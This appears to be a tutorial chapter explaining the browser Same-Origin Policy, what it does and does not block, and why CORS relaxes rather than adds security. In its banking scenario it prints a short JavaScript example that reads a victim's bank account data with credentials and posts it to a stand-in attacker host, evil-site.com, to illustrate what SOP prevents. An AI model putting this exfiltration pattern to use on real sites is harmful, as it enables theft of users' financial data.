The Same-Origin Policy

Let me save you some time. If you're here because your fetch() call is failing and you want to skip straight to the fix — I get it. But if you don't understand the Same-Origin Policy first, you're going to be back here next week with a slightly different variation of the same problem. So grab a coffee. This matters.

What the Same-Origin Policy Actually Is

The Same-Origin Policy (SOP) is a security mechanism built into web browsers. Not into HTTP. Not into your server. Not into JavaScript itself. Into the browser.

This distinction is critical, and it's the reason half the confusion around CORS exists. When your backend developer says "just test it with curl," they're not being dismissive (well, maybe a little) — they're accidentally revealing the core truth: curl doesn't have a Same-Origin Policy because curl isn't a browser.

The SOP's rule is deceptively simple:

A document or script loaded from one origin can only interact with resources from that same origin.

We'll define "origin" precisely in Chapter 3. For now, think of it as the combination of scheme (http or https), hostname (example.com), and port (443). If any of those three differ between where your page was loaded from and where it's trying to reach, you've got a cross-origin request on your hands.

A Brief, Irritating History

The year is 1995. Netscape Navigator 2.0 ships with a brand-new feature called JavaScript. Within approximately forty-five seconds, someone realizes that if a page in one browser frame can read content from a page in another frame, things get interesting in all the wrong ways.

Consider: you've got your online banking open in one tab. You visit totally-legit-free-screensavers.com in another tab. Without the SOP, that screensaver site's JavaScript could reach across tabs, read your bank balance, grab your account numbers, and exfiltrate everything to a server in who-knows-where. The DOM of your banking page would be an open book.

Netscape introduced the Same-Origin Policy in Navigator 2.02 (1996) specifically to prevent this class of attack. Microsoft followed suit in Internet Explorer. The policy has been refined over the decades, but the core idea hasn't changed: don't let Site A read Site B's stuff.

The formal specification lives in RFC 6454, published in 2011, which finally wrote down what browsers had been doing (with slight variations) for fifteen years.

What the SOP Actually Restricts

Here's where people get tripped up. The SOP doesn't block everything cross-origin. It's selective, and the selection criteria are rooted in historical accidents as much as security theory.

Things the SOP restricts

1. Reading data via XMLHttpRequest and fetch()

This is the one you're probably here for. If your page at https://app.example.com tries to fetch data from https://api.example.com, the browser will block you from reading the response unless the server opts in via CORS headers.

// Page loaded from https://app.example.com

fetch('https://api.different-domain.com/users')
  .then(response => response.json())
  .then(data => console.log(data))
  .catch(err => console.error('Blocked by SOP:', err));

What you'll see in the browser console:

Access to fetch at 'https://api.different-domain.com/users' from origin
'https://app.example.com' has been blocked by CORS policy: No
'Access-Control-Allow-Origin' header is present on the requested resource.

That error message mentions CORS, not SOP. This is because the browser is telling you "this cross-origin request failed because the server didn't send the CORS headers that would have allowed it." The SOP is the default. CORS is the exception mechanism.

2. DOM access across origins

If you embed a page in an <iframe>, JavaScript on the parent page cannot reach into the iframe's DOM if the origins differ:

// Parent page: https://my-site.com
const iframe = document.getElementById('bank-iframe');
// iframe src: https://my-bank.com

try {
  const bankBody = iframe.contentDocument.body;
  // This throws:
} catch (e) {
  console.error(e);
  // DOMException: Blocked a frame with origin "https://my-site.com"
  // from accessing a cross-origin frame.
}

3. Reading cookies, localStorage, and IndexedDB from other origins

Each origin gets its own isolated storage. JavaScript running on https://evil.com cannot read cookies that belong to https://your-bank.com. This seems obvious, but it's worth stating explicitly because it's the SOP doing this work.

4. Canvas tainted by cross-origin images

You can display a cross-origin image (see below), but if you draw it onto a <canvas> and then try to read the pixel data with getImageData() or toDataURL(), the canvas becomes "tainted" and the read operations throw:

const img = new Image();
img.src = 'https://other-domain.com/photo.jpg';
img.onload = () => {
  const canvas = document.createElement('canvas');
  const ctx = canvas.getContext('2d');
  ctx.drawImage(img, 0, 0);

  try {
    const data = ctx.getImageData(0, 0, 100, 100);
    // SecurityError: The operation is insecure.
  } catch (e) {
    console.error('Canvas tainted by cross-origin image');
  }
};

Things the SOP does NOT restrict

This list surprises people, and it's important for understanding why certain attacks are possible and why CORS works the way it does.

1. Images (<img> tags)

<!-- This works. Always has. -->
<img src="https://other-domain.com/cat.jpg" alt="Someone else's cat">

You can display cross-origin images. You just can't read their pixel data programmatically (see the canvas tainting above). The web would have been a very different place if images had been same-origin-only from the start.

2. Scripts (<script> tags)

<!-- This works too. It's how CDNs work. -->
<script src="https://cdn.example.com/library.js"></script>

The script executes in the context of the page that included it, not the origin it was loaded from. This is, historically, both incredibly useful and the source of a whole category of security problems (hello, supply-chain attacks on npm packages served via CDN).

This is also why JSONP worked as a CORS workaround — it exploited the fact that <script> tags aren't subject to the SOP. We don't talk about JSONP in polite company anymore, but you'll still encounter it in legacy codebases.

3. Stylesheets (<link rel="stylesheet">)

<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto">

Same deal. Cross-origin CSS loads and applies just fine.

4. Forms (<form> submissions)

<form action="https://other-site.com/endpoint" method="POST">
  <input name="data" value="surprise">
  <button type="submit">Submit</button>
</form>

This is a big one. The browser will happily send a cross-origin form POST — including cookies for the target domain. The SOP doesn't prevent the sending. It prevents the reading of the response. The page that submitted the form navigates away, so there's no JavaScript context left to read anything. But the request was absolutely sent, and the server absolutely processed it. This is the heart of CSRF attacks, which we'll cover in Chapter 2.

5. Embeds (<iframe>, <video>, <audio>, <object>)

You can embed cross-origin content. You just can't reach into it with JavaScript.

The Concrete Example

Let's walk through what actually happens, packet by packet, when you hit a cross-origin issue. You have a single-page application hosted at https://app.coolstartup.io, and it needs to pull user data from your API at https://api.coolstartup.io.

Step 1: Your JavaScript makes the request

// Running on https://app.coolstartup.io
const response = await fetch('https://api.coolstartup.io/v1/users/me', {
  headers: {
    'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIs...',
    'Content-Type': 'application/json'
  }
});

Step 2: The browser notices it's cross-origin

The browser compares origins:

  • Page origin: https://app.coolstartup.io (scheme: https, host: app.coolstartup.io, port: 443)
  • Request target: https://api.coolstartup.io (scheme: https, host: api.coolstartup.io, port: 443)

The hosts differ (app.coolstartup.io vs api.coolstartup.io). This is cross-origin.

Step 3: The browser may send a preflight (more on this in later chapters)

Because this request has an Authorization header and a Content-Type of application/json, the browser sends a preflight OPTIONS request first. If the server doesn't respond with appropriate CORS headers, the browser stops here. Your actual GET request never goes out.

Step 4: Without CORS headers, the browser blocks the response

Let's say the server at api.coolstartup.io doesn't have CORS configured. The browser console shows:

Access to fetch at 'https://api.coolstartup.io/v1/users/me' from origin
'https://app.coolstartup.io' has been blocked by CORS policy: Response to
preflight request doesn't pass access control check: No
'Access-Control-Allow-Origin' header is present on the requested resource.

In Chrome DevTools, you can see this play out:

  1. Open Network tab
  2. Look for the request — it might show as (failed) or with a red status
  3. If a preflight was sent, you'll see a separate OPTIONS request
  4. Click on the failed request, go to the Response tab — it'll be empty
  5. Check the Console tab for the error message above

Step 5: Meanwhile, curl works fine

$ curl -s -D - https://api.coolstartup.io/v1/users/me \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs..."

HTTP/2 200
content-type: application/json
date: Sat, 21 Mar 2026 14:30:00 GMT

{"id": 42, "name": "Alice", "email": "alice@example.com"}

No error. The data comes back fine. Your backend colleague says "works for me" and shrugs. This is because curl is not a browser. It doesn't implement the SOP. It doesn't check CORS headers. It just sends the request and gives you whatever comes back. We'll dig into why this distinction exists in Chapter 2.

Why This All Matters: The Banking Scenario

Let's make the threat concrete. Imagine a world without the Same-Origin Policy.

  1. You log into https://mybank.com. The bank sets a session cookie in your browser.

  2. You open a new tab and visit https://evil-site.com. Maybe you clicked a link in an email. Maybe it was a compromised ad.

  3. evil-site.com serves JavaScript that does:

// Without SOP, this would work
const response = await fetch('https://mybank.com/api/accounts', {
  credentials: 'include'  // Send my bank cookies
});
const accounts = await response.json();

// Now send the stolen data home
await fetch('https://evil-site.com/collect', {
  method: 'POST',
  body: JSON.stringify(accounts)
});
  1. Because your browser has a valid session cookie for mybank.com, the bank's server thinks this is a legitimate request from you. It returns your account data. Without the SOP, evil-site.com reads that data and exfiltrates it.

The Same-Origin Policy prevents step 3 from succeeding. The browser sees that evil-site.com is trying to read a response from mybank.com and blocks it. The request might still be sent (this is important — we'll come back to it), but the JavaScript on evil-site.com cannot read the response.

The SOP Is the Blocker. CORS Is the Escape Hatch.

Here's the mental model I want you to walk away with:

┌──────────────────────────────────────────────────────┐
│                    DEFAULT STATE                      │
│                                                       │
│   Browser: "Cross-origin request? BLOCKED.            │
│            I don't care that you really need this.    │
│            I don't care that it works in curl.        │
│            The Same-Origin Policy says no."           │
│                                                       │
├──────────────────────────────────────────────────────┤
│                   WITH CORS HEADERS                   │
│                                                       │
│   Server: "Access-Control-Allow-Origin:               │
│            https://app.coolstartup.io"                │
│                                                       │
│   Browser: "Oh, the server says this origin is        │
│            allowed? Then I'll let JavaScript           │
│            read the response. Carry on."              │
│                                                       │
└──────────────────────────────────────────────────────┘

The SOP is the locked door. CORS is the server handing the browser a key and saying "yeah, let them in."

This means CORS is not a security mechanism you add to your server to protect it. That's the most common misconception I encounter. CORS is a mechanism by which a server relaxes the browser's default security policy. If you've never heard of CORS and you've never added any CORS headers to your server, congratulations — you're already as locked down as the browser can make you. Adding CORS headers opens doors. It doesn't close them.

Think about that for a second, because it inverts the way most developers first think about it. You're not "adding CORS for security." You're "adding CORS to reduce security in a controlled way so your legitimate frontend can actually talk to your API."

Common Misconceptions

Before we move on, let me head off a few things I hear regularly:

"The server is blocking my request."

No. The browser is blocking you from reading the response. The server may have actually received and processed the request (especially for simple requests that don't trigger a preflight). The server doesn't know or care about the SOP. It just answers HTTP requests.

"I'll just disable CORS in my browser."

You can, for development. Chrome has a --disable-web-security flag. Extensions like "CORS Unblock" exist. But you're disabling the SOP, not "disabling CORS." CORS is the solution, not the problem. And if you ship your application with instructions telling users to disable browser security, I will find you and I will give you a very stern look.

"My server needs to allow CORS."

Your server needs to send CORS response headers. CORS is not a server-side firewall or allow-list that filters incoming requests. It's a set of HTTP response headers that tell the browser "this origin is permitted to read my responses." The server has no way to enforce CORS — it relies entirely on the browser honoring the protocol.

"CORS protects my API."

No. CORS does not protect your server. Anyone with curl, Postman, or a backend service can hit your API regardless of CORS headers. CORS only governs what happens in a browser context. Your API needs its own authentication and authorization. Always.

What's Next

Now that you understand what the SOP does and that CORS is the mechanism for selectively loosening it, the obvious question is: why does the browser do this at all? Why is the browser so paranoid when curl, Postman, and every other HTTP client just... work?

That's Chapter 2. Spoiler: it's because browsers do something no other HTTP client does, and it changes the entire threat model.